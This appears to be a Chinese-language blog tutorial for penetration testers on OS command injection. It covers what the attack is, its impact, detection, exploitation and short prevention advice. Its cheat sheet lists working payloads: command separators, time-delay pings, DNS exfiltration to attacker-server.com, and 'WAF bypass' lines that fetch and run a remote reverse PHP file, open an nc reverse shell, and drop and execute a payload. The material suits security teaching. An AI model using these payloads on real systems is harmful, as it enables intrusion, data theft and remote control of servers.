渗透测试者的命令注入指南
什么是命令注入?
命令注入是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。 当应用程序将不安全的用户提供的数据(表单、cookie、HTTP 标头等)传递到系统 shell 时,这些类型的攻击就有可能发生了。 在这种攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。 通常,由于输入验证不足,它们是很可能发生的。
这种攻击与代码注入不同,因为代码注入允许攻击者添加自己的代码,然后由应用程序执行。 在命令注入中,攻击者扩展了应用程序的默认功能,无需注入代码即可执行系统命令。
命令注入有什么影响
借助此漏洞,攻击者可以使用易受攻击的应用程序的权限运行操作系统命令。 根据当前用户的权限,此漏洞可能导致访问系统、泄露关键敏感数据,并可能导致对服务器或系统的完全控制权接管。
如何检测和利用它们?
假设您在渗透测试期间测试以下 URL 的参数:
https://vulnerable-website.com/endpoint?parameter=123
要检测源代码是否没有防止命令注入,我们可以尝试几种方法:
插入特殊字符来检测分隔符:
我们可以注入一些特殊字符来查看应用程序是否阻止了任何可用于命令注入的内容:
&
;
换行符 (0x0a or \n)
&&
|
||
如果应用程序没有抛出任何错误消息,我们可以在使用这些分隔符之一后尝试注入我们的命令。
https://vulnerable-website.com/endpoint?parameter=1|whoami
检测操作系统盲目的命令注入
时间延迟
大多数操作系统命令注入都是盲目的,它不会为执行的命令提供任何输出。 为了验证漏洞,在检测到允许的特殊字符后,我们可以使用时间延迟来验证命令注入,如下所示:
https://vulnerable-website.com/endpoint?parameter=x||ping+-c+10+127.0.0.1||
重定向输出
我们还可以在输出文件中重定向命令的输出,然后在浏览器上检索该文件。 可以使用类似于以下内容的有效负载:
https://vulnerable-website.com/endpoint?parameter=||whoami>/var/www/images/output.txt||
OOB (Out Of Band) 利用
我们还可以触发与 Burp Collaborator 等外部服务器的 OOB 网络交互。 可以使用类似于以下内容的有效负载:
https://vulnerable-website.com/endpoint?parameter=x||nslookup+burp.collaborator.address||
或者,我们可以使用类似于以下内容的有效负载来泄露命令的输出:
https://vulnerable-website.com/endpoint?parameter=||nslookup+`whoami`.burp.collaborator.address||
测试命令注入时可以考虑的最常见参数如下:
cmd
- exec
- command
- execute
- ping
- query
- jump
- code
- reg
- do
- func
- arg
- option
- load
- process
- step
- read
- function
- req
- feature
- exe
- module
- payload
- run
备忘
特殊字符
&
;
换行符 (0x0a or \n)
&&
|
||
command \`
$(command )
Linux 命令:
whoami
ifconfig
ls
uname -a
Windows 命令:
whoami
ipconfig
dir
ver
Unix 和 Windows 都支持的
ls||id; ls ||id; ls|| id; ls || id
ls|id; ls |id; ls| id; ls | id
ls&&id; ls &&id; ls&& id; ls && id
ls&id; ls &id; ls& id; ls & id
ls %0A id
时间延迟命令
& ping -c 10 127.0.0.1 &
重定向输出
& whoami > /var/www/images/output.txt &
OOB (Out Of Band) 利用
& nslookup attacker-server.com &
& nslookup `whoami`.attacker-server.com &
绕过 WAF
vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload
如何预防?
有很多方法可以防止此漏洞。 下面是几个参考建议:
- 避免使用 shell 执行函数。 如果不可避免,请将它们的使用限制在非常具体的用例中。
- 在将用户输入带入 shell 执行命令时执行正确的输入验证。
- 在接受用户输入到应用程序时使用安全的 API。
- 在安全 API 不可用的情况下转义特殊字符。
相关文章
渗透测试者的跨站脚本(XSS)指南
发布时间:2022/10/12 浏览次数:129 分类:网络
-
跨站脚本 (XSS) 攻击是一种注入,其中恶意脚本被注入到其他良性和受信任的网站中。 当攻击者使用 Web 应用程序将恶意代码(通常以浏览器端脚本的形式)发送给不同的终端用户时,就